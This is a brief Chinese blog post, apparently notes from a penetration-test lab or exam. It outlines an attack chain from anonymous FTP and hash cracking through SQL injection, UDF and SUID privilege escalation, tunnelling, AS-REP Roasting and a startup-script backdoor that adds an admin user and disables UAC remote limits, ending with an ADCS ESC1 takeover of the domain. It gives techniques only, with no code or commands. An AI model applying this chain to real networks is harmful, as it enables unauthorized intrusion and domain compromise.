外网:一个ftp匿名登录得到7z文件进行hash爆破,一个sitecms的API身份认证和sql注入,UDF提权,DNS隧道,SUID的cp写入公钥,端口转发,ssh登录,socks代理
内网:主机发现,LDAP匿名查询DC的所有用户,得到用户列表之后用AS-REP Roasting攻击得到一组凭据,利用凭据在34主机wim查看特权,发现有从远程系统强制关闭或重启计算机,通过把脚本被写进了开机自启动脚本,就是重启开机之后就会执行这个脚本,脚本一共做了两件事情,第一件事情就是把yangming加进管理员组,还有一件事情就是禁用UAC远程限制,远程连接的时候拥有管理员的所有权限。重启之后yingming有了管理员权限
域控:是一个证书攻击,ESC1,拿到域管哈希
posted @ 2026-08-18 17:58  Anaxa  阅读(11)  评论(0)    收藏  举报